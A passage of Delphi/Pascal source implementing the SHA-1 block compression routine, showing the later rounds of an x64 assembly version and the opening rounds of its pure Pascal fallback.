36] XOR ESI,[R8 + 12] XOR ESI,[R8 + 4] ROL ESI,1 MOV [R8 + 4],ESI ADD EAX,ESI MOV EDI,ECX MOV ESI,ECX AND EDI,EDX OR ESI,EDX AND ESI,EBP OR ESI,EDI ROL ECX,30 LEA EAX,[RAX + RSI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {50} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[2]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 60] XOR ESI,[R8 + 40] XOR ESI,[R8 + 16] XOR ESI,[R8 + 8] ROL ESI,1 MOV [R8 + 8],ESI ADD EBP,ESI MOV EDI,EBX MOV ESI,EBX AND EDI,ECX OR ESI,ECX AND ESI,EDX OR ESI,EDI ROL EBX,30 LEA EBP,[RBP + RSI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {51} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[3]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8] XOR ESI,[R8 + 44] XOR ESI,[R8 + 20] XOR ESI,[R8 + 12] ROL ESI,1 MOV [R8 + 12],ESI ADD EDX,ESI MOV EDI,EAX MOV ESI,EAX AND EDI,EBX OR ESI,EBX AND ESI,ECX OR ESI,EDI ROL EAX,30 LEA EDX,[RDX + RSI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {52} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[4]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 4] XOR ESI,[R8 + 48] XOR ESI,[R8 + 24] XOR ESI,[R8 + 16] ROL ESI,1 MOV [R8 + 16],ESI ADD ECX,ESI MOV EDI,EBP MOV ESI,EBP AND EDI,EAX OR ESI,EAX AND ESI,EBX OR ESI,EDI ROL EBP,30 LEA ECX,[RCX + RSI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {53} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[5]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 8] XOR ESI,[R8 + 52] XOR ESI,[R8 + 28] XOR ESI,[R8 + 20] ROL ESI,1 MOV [R8 + 20],ESI ADD EBX,ESI MOV EDI,EDX MOV ESI,EDX AND EDI,EBP OR ESI,EBP AND ESI,EAX OR ESI,EDI ROL EDX,30 LEA EBX,[RBX + RSI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {54} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[6]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 12] XOR ESI,[R8 + 56] XOR ESI,[R8 + 32] XOR ESI,[R8 + 24] ROL ESI,1 MOV [R8 + 24],ESI ADD EAX,ESI MOV EDI,ECX MOV ESI,ECX AND EDI,EDX OR ESI,EDX AND ESI,EBP OR ESI,EDI ROL ECX,30 LEA EAX,[RAX + RSI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {55} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[7]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 16] XOR ESI,[R8 + 60] XOR ESI,[R8 + 36] XOR ESI,[R8 + 28] ROL ESI,1 MOV [R8 + 28],ESI ADD EBP,ESI MOV EDI,EBX MOV ESI,EBX AND EDI,ECX OR ESI,ECX AND ESI,EDX OR ESI,EDI ROL EBX,30 LEA EBP,[RBP + RSI + $8F1BBCDC] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {56} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[8]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 20] XOR ESI,[R8] XOR ESI,[R8 + 40] XOR ESI,[R8 + 32] ROL ESI,1 MOV [R8 + 32],ESI ADD EDX,ESI MOV EDI,EAX MOV ESI,EAX AND EDI,EBX OR ESI,EBX AND ESI,ECX OR ESI,EDI ROL EAX,30 LEA EDX,[RDX + RSI + $8F1BBCDC] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {57} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[9]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 24] XOR ESI,[R8 + 4] XOR ESI,[R8 + 44] XOR ESI,[R8 + 36] ROL ESI,1 MOV [R8 + 36],ESI ADD ECX,ESI MOV EDI,EBP MOV ESI,EBP AND EDI,EAX OR ESI,EAX AND ESI,EBX OR ESI,EDI ROL EBP,30 LEA ECX,[RCX + RSI + $8F1BBCDC] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {58} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[10]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 28] XOR ESI,[R8 + 8] XOR ESI,[R8 + 48] XOR ESI,[R8 + 40] ROL ESI,1 MOV [R8 + 40],ESI ADD EBX,ESI MOV EDI,EDX MOV ESI,EDX AND EDI,EBP OR ESI,EBP AND ESI,EAX OR ESI,EDI ROL EDX,30 LEA EBX,[RBX + RSI + $8F1BBCDC] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {59} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[11]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 32] XOR ESI,[R8 + 12] XOR ESI,[R8 + 52] XOR ESI,[R8 + 44] ROL ESI,1 MOV [R8 + 44],ESI ADD EAX,ESI MOV EDI,ECX MOV ESI,ECX AND EDI,EDX OR ESI,EDX AND ESI,EBP OR ESI,EDI ROL ECX,30 LEA EAX,[RAX + RSI + $8F1BBCDC] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {60} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[12]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 36] XOR ESI,[R8 + 16] XOR ESI,[R8 + 56] XOR ESI,[R8 + 48] ROL ESI,1 MOV [R8 + 48],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {61} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[13]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 40] XOR ESI,[R8 + 20] XOR ESI,[R8 + 60] XOR ESI,[R8 + 52] ROL ESI,1 MOV [R8 + 52],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {62} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[14]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 44] XOR ESI,[R8 + 24] XOR ESI,[R8] XOR ESI,[R8 + 56] ROL ESI,1 MOV [R8 + 56],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {63} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[15]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 48] XOR ESI,[R8 + 28] XOR ESI,[R8 + 4] XOR ESI,[R8 + 60] ROL ESI,1 MOV [R8 + 60],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {64} // Tmp:= W[13] xor W[8] xor W[2] xor W[0]; // W[0]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[0]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 52] XOR ESI,[R8 + 32] XOR ESI,[R8 + 8] XOR ESI,[R8] ROL ESI,1 MOV [R8],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {65} // Tmp:= W[14] xor W[9] xor W[3] xor W[1]; // W[1]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[1]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 56] XOR ESI,[R8 + 36] XOR ESI,[R8 + 12] XOR ESI,[R8 + 4] ROL ESI,1 MOV [R8 + 4],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {66} // Tmp:= W[15] xor W[10] xor W[4] xor W[2]; // W[2]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[2]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 60] XOR ESI,[R8 + 40] XOR ESI,[R8 + 16] XOR ESI,[R8 + 8] ROL ESI,1 MOV [R8 + 8],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {67} // Tmp:= W[0] xor W[11] xor W[5] xor W[3]; // W[3]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[3]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8] XOR ESI,[R8 + 44] XOR ESI,[R8 + 20] XOR ESI,[R8 + 12] ROL ESI,1 MOV [R8 + 12],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {68} // Tmp:= W[1] xor W[12] xor W[6] xor W[4]; // W[4]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[4]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 4] XOR ESI,[R8 + 48] XOR ESI,[R8 + 24] XOR ESI,[R8 + 16] ROL ESI,1 MOV [R8 + 16],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {69} // Tmp:= W[2] xor W[13] xor W[7] xor W[5]; // W[5]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[5]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 8] XOR ESI,[R8 + 52] XOR ESI,[R8 + 28] XOR ESI,[R8 + 20] ROL ESI,1 MOV [R8 + 20],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {70} // Tmp:= W[3] xor W[14] xor W[8] xor W[6]; // W[6]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[6]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 12] XOR ESI,[R8 + 56] XOR ESI,[R8 + 32] XOR ESI,[R8 + 24] ROL ESI,1 MOV [R8 + 24],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {71} // Tmp:= W[4] xor W[15] xor W[9] xor W[7]; // W[7]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[7]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 16] XOR ESI,[R8 + 60] XOR ESI,[R8 + 36] XOR ESI,[R8 + 28] ROL ESI,1 MOV [R8 + 28],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {72} // Tmp:= W[5] xor W[0] xor W[10] xor W[8]; // W[8]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[8]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 20] XOR ESI,[R8] XOR ESI,[R8 + 40] XOR ESI,[R8 + 32] ROL ESI,1 MOV [R8 + 32],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {73} // Tmp:= W[6] xor W[1] xor W[11] xor W[9]; // W[9]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[9]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 24] XOR ESI,[R8 + 4] XOR ESI,[R8 + 44] XOR ESI,[R8 + 36] ROL ESI,1 MOV [R8 + 36],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {74} // Tmp:= W[7] xor W[2] xor W[12] xor W[10]; // W[10]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[10]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 28] XOR ESI,[R8 + 8] XOR ESI,[R8 + 48] XOR ESI,[R8 + 40] ROL ESI,1 MOV [R8 + 40],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI {75} // Tmp:= W[8] xor W[3] xor W[13] xor W[11]; // W[11]:= (Tmp shl 1) or (Tmp shr 31); // Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[11]); // B:= (B shl 30) or (B shr 2); MOV ESI,[R8 + 32] XOR ESI,[R8 + 12] XOR ESI,[R8 + 52] XOR ESI,[R8 + 44] ROL ESI,1 MOV [R8 + 44],ESI ADD EBP,ESI MOV ESI,EBX XOR ESI,ECX XOR ESI,EDX ROL EBX,30 LEA EBP,[RBP + RSI + $CA62C1D6] MOV ESI,EAX ROL ESI,5 ADD EBP,ESI {76} // Tmp:= W[9] xor W[4] xor W[14] xor W[12]; // W[12]:= (Tmp shl 1) or (Tmp shr 31); // Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[12]); // A:= (A shl 30) or (A shr 2); MOV ESI,[R8 + 36] XOR ESI,[R8 + 16] XOR ESI,[R8 + 56] XOR ESI,[R8 + 48] ROL ESI,1 MOV [R8 + 48],ESI ADD EDX,ESI MOV ESI,EAX XOR ESI,EBX XOR ESI,ECX ROL EAX,30 LEA EDX,[RDX + RSI + $CA62C1D6] MOV ESI,EBP ROL ESI,5 ADD EDX,ESI {77} // Tmp:= W[10] xor W[5] xor W[15] xor W[13]; // W[13]:= (Tmp shl 1) or (Tmp shr 31); // Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[13]); // E:= (E shl 30) or (E shr 2); MOV ESI,[R8 + 40] XOR ESI,[R8 + 20] XOR ESI,[R8 + 60] XOR ESI,[R8 + 52] ROL ESI,1 // MOV [R8 + 52],ESI ADD ECX,ESI MOV ESI,EBP XOR ESI,EAX XOR ESI,EBX ROL EBP,30 LEA ECX,[RCX + RSI + $CA62C1D6] MOV ESI,EDX ROL ESI,5 ADD ECX,ESI {78} // Tmp:= W[11] xor W[6] xor W[0] xor W[14]; // W[14]:= (Tmp shl 1) or (Tmp shr 31); // Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[14]); // D:= (D shl 30) or (D shr 2); MOV ESI,[R8 + 44] XOR ESI,[R8 + 24] XOR ESI,[R8] XOR ESI,[R8 + 56] ROL ESI,1 // MOV [R8 + 56],ESI ADD EBX,ESI MOV ESI,EDX XOR ESI,EBP XOR ESI,EAX ROL EDX,30 LEA EBX,[RBX + RSI + $CA62C1D6] MOV ESI,ECX ROL ESI,5 ADD EBX,ESI {79} // Tmp:= W[12] xor W[7] xor W[1] xor W[15]; // W[15]:= (Tmp shl 1) or (Tmp shr 31); // Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[15]); // C:= (C shl 30) or (C shr 2); MOV ESI,[R8 + 48] XOR ESI,[R8 + 28] XOR ESI,[R8 + 4] XOR ESI,[R8 + 60] ROL ESI,1 // MOV [R8 + 60],ESI ADD EAX,ESI MOV ESI,ECX XOR ESI,EDX XOR ESI,EBP ROL ECX,30 LEA EAX,[RAX + RSI + $CA62C1D6] MOV ESI,EBX ROL ESI,5 ADD EAX,ESI ADD [R8 - 20],EAX // Inc(FData.Digest[0], A); ADD [R8 - 16],EBX // Inc(FData.Digest[1], B); ADD [R8 - 12],ECX // Inc(FData.Digest[2], C); ADD [R8 - 8],EDX // Inc(FData.Digest[3], D); ADD [R8 - 4],EBP // Inc(FData.Digest[4], E); // FillChar(Block, SizeOf(Block), 0); XOR RAX,RAX MOV [R8],RAX MOV [R8 + 8],RAX MOV [R8 + 16],RAX MOV [R8 + 24],RAX MOV [R8 + 32],RAX MOV [R8 + 40],RAX MOV [R8 + 48],RAX MOV [R8 + 56],RAX ADD RSP,8 POP RBP POP RBX POP RDI POP RSI end; {$ELSE} procedure TSHA1Alg.Compress; type PLongArray = ^TLongArray; TLongArray = array[0..15] of UInt32; var W: PLongArray; A, B, C, D, E: UInt32; Tmp: UInt32; begin W:= @FData.Block; A:= FData.Digest[0]; B:= FData.Digest[1]; C:= FData.Digest[2]; D:= FData.Digest[3]; E:= FData.Digest[4]; { 0} W[0]:= Swap32(W[0]); Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[0]); B:= (B shl 30) or (B shr 2); { 1} W[1]:= Swap32(W[1]); Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[1]); A:= (A shl 30) or (A shr 2); { 2} W[2]:= Swap32(W[2]); Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[2]); E:= (E shl 30) or (E shr 2); { 3} W[3]:= Swap32(W[3]); Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[3]); D:= (D shl 30) or (D shr 2); { 4} W[4]:= Swap32(W[4]); Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[4]); C:= (C shl 30) or (C shr 2); { 5} W[5]:= Swap32(W[5]); Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[5]); B:= (B shl 30) or (B shr 2); { 6} W[6]:= Swap32(W[6]); Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[6]); A:= (A shl 30) or (A shr 2); { 7} W[7]:= Swap32(W[7]); Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[7]); E:= (E shl 30) or (E shr 2); { 8} W[8]:= Swap32(W[8]); Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[8]); D:= (D shl 30) or (D shr 2); { 9} W[9]:= Swap32(W[9]); Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[9]); C:= (C shl 30) or (C shr 2); {10} W[10]:= Swap32(W[10]); Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[10]); B:= (B shl 30) or (B shr 2); {11} W[11]:= Swap32(W[11]); Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[11]); A:= (A shl 30) or (A shr 2); {12} W[12]:= Swap32(W[12]); Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[12]); E:= (E shl 30) or (E shr 2); {13} W[13]:= Swap32(W[13]); Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[13]); D:= (D shl 30) or (D shr 2); {14} W[14]:= Swap32(W[14]); Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[14]); C:= (C shl 30) or (C shr 2); {15} W[15]:= Swap32(W[15]); Inc(E,((A shl 5) or (A shr 27)) + (D xor (B and (C xor D))) + $5A827999 + W[15]); B:= (B shl 30) or (B shr 2); {16} Tmp:= W[13] xor W[8] xor W[2] xor W[0]; W[0]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (C xor (A and (B xor C))) + $5A827999 + W[0]); A:= (A shl 30) or (A shr 2); {17} Tmp:= W[14] xor W[9] xor W[3] xor W[1]; W[1]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (B xor (E and (A xor B))) + $5A827999 + W[1]); E:= (E shl 30) or (E shr 2); {18} Tmp:= W[15] xor W[10] xor W[4] xor W[2]; W[2]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (A xor (D and (E xor A))) + $5A827999 + W[2]); D:= (D shl 30) or (D shr 2); {19} Tmp:= W[0] xor W[11] xor W[5] xor W[3]; W[3]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (E xor (C and (D xor E))) + $5A827999 + W[3]); C:= (C shl 30) or (C shr 2); {20} Tmp:= W[1] xor W[12] xor W[6] xor W[4]; W[4]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[4]); B:= (B shl 30) or (B shr 2); {21} Tmp:= W[2] xor W[13] xor W[7] xor W[5]; W[5]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[5]); A:= (A shl 30) or (A shr 2); {22} Tmp:= W[3] xor W[14] xor W[8] xor W[6]; W[6]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[6]); E:= (E shl 30) or (E shr 2); {23} Tmp:= W[4] xor W[15] xor W[9] xor W[7]; W[7]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[7]); D:= (D shl 30) or (D shr 2); {24} Tmp:= W[5] xor W[0] xor W[10] xor W[8]; W[8]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[8]); C:= (C shl 30) or (C shr 2); {25} Tmp:= W[6] xor W[1] xor W[11] xor W[9]; W[9]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[9]); B:= (B shl 30) or (B shr 2); {26} Tmp:= W[7] xor W[2] xor W[12] xor W[10]; W[10]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[10]); A:= (A shl 30) or (A shr 2); {27} Tmp:= W[8] xor W[3] xor W[13] xor W[11]; W[11]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[11]); E:= (E shl 30) or (E shr 2); {28} Tmp:= W[9] xor W[4] xor W[14] xor W[12]; W[12]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[12]); D:= (D shl 30) or (D shr 2); {29} Tmp:= W[10] xor W[5] xor W[15] xor W[13]; W[13]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[13]); C:= (C shl 30) or (C shr 2); {30} Tmp:= W[11] xor W[6] xor W[0] xor W[14]; W[14]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[14]); B:= (B shl 30) or (B shr 2); {31} Tmp:= W[12] xor W[7] xor W[1] xor W[15]; W[15]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[15]); A:= (A shl 30) or (A shr 2); {32} Tmp:= W[13] xor W[8] xor W[2] xor W[0]; W[0]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[0]); E:= (E shl 30) or (E shr 2); {33} Tmp:= W[14] xor W[9] xor W[3] xor W[1]; W[1]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[1]); D:= (D shl 30) or (D shr 2); {34} Tmp:= W[15] xor W[10] xor W[4] xor W[2]; W[2]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[2]); C:= (C shl 30) or (C shr 2); {35} Tmp:= W[0] xor W[11] xor W[5] xor W[3]; W[3]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $6ED9EBA1 + W[3]); B:= (B shl 30) or (B shr 2); {36} Tmp:= W[1] xor W[12] xor W[6] xor W[4]; W[4]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $6ED9EBA1 + W[4]); A:= (A shl 30) or (A shr 2); {37} Tmp:= W[2] xor W[13] xor W[7] xor W[5]; W[5]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $6ED9EBA1 + W[5]); E:= (E shl 30) or (E shr 2); {38} Tmp:= W[3] xor W[14] xor W[8] xor W[6]; W[6]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $6ED9EBA1 + W[6]); D:= (D shl 30) or (D shr 2); {39} Tmp:= W[4] xor W[15] xor W[9] xor W[7]; W[7]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $6ED9EBA1 + W[7]); C:= (C shl 30) or (C shr 2); {40} Tmp:= W[5] xor W[0] xor W[10] xor W[8]; W[8]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[8]); B:= (B shl 30) or (B shr 2); {41} 